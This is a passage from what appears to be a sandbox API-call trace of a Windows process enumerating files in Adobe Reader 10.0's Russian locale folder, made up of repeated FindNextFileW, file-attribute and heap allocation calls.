1 [0082.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.493] GetLastError () returned 0x12 [0082.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128c930) returned 1 [0082.493] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128ca38) returned 1 [0082.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x128c828) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.RUM", cAlternateFileName="")) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUM", cAlternateFileName="")) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.RUM", cAlternateFileName="")) returned 0 [0082.493] GetLastError () returned 0x12 [0082.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.494] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0082.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.499] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12a8dc0 [0082.500] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8dc0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8dc0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8dc0) returned 1 [0082.500] NtClose (Handle=0x174) returned 0x0 [0082.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.501] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.505] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="")) returned 1 [0082.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.506] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c7a8 [0082.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c828 [0082.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.507] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x65e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.RUS", cAlternateFileName="")) returned 1 [0082.507] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c7c8 [0082.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ca38 [0082.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.509] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.RUS", cAlternateFileName="")) returned 1 [0082.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c7e8 [0082.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128c930 [0082.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.510] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.RUS", cAlternateFileName="")) returned 1 [0082.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c808 [0082.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128cd50 [0082.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.512] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.RUS", cAlternateFileName="")) returned 1 [0082.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c828 [0082.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128ce58 [0082.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.RUS", cAlternateFileName="")) returned 1 [0082.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c848 [0082.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128cf60 [0082.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.515] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.RUS", cAlternateFileName="")) returned 1 [0082.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c868 [0082.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d068 [0082.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.516] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.RUS", cAlternateFileName="")) returned 1 [0082.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c888 [0082.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d170 [0082.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.518] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.RUS", cAlternateFileName="")) returned 1 [0082.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c8a8 [0082.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d278 [0082.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.519] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.RUS", cAlternateFileName="")) returned 1 [0082.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c8c8 [0082.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d380 [0082.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.521] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.RUS", cAlternateFileName="")) returned 1 [0082.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c8e8 [0082.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d488 [0082.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.523] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.RUS", cAlternateFileName="")) returned 1 [0082.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c908 [0082.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d590 [0082.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.524] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.RUS", cAlternateFileName="")) returned 1 [0082.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c928 [0082.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d698 [0082.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.526] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.RUS", cAlternateFileName="")) returned 1 [0082.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c948 [0082.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x128d7a0 [0082.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7000) returned 0x1293f28 [0082.527] RtlFreeHeap (HeapHandle=0x940000, 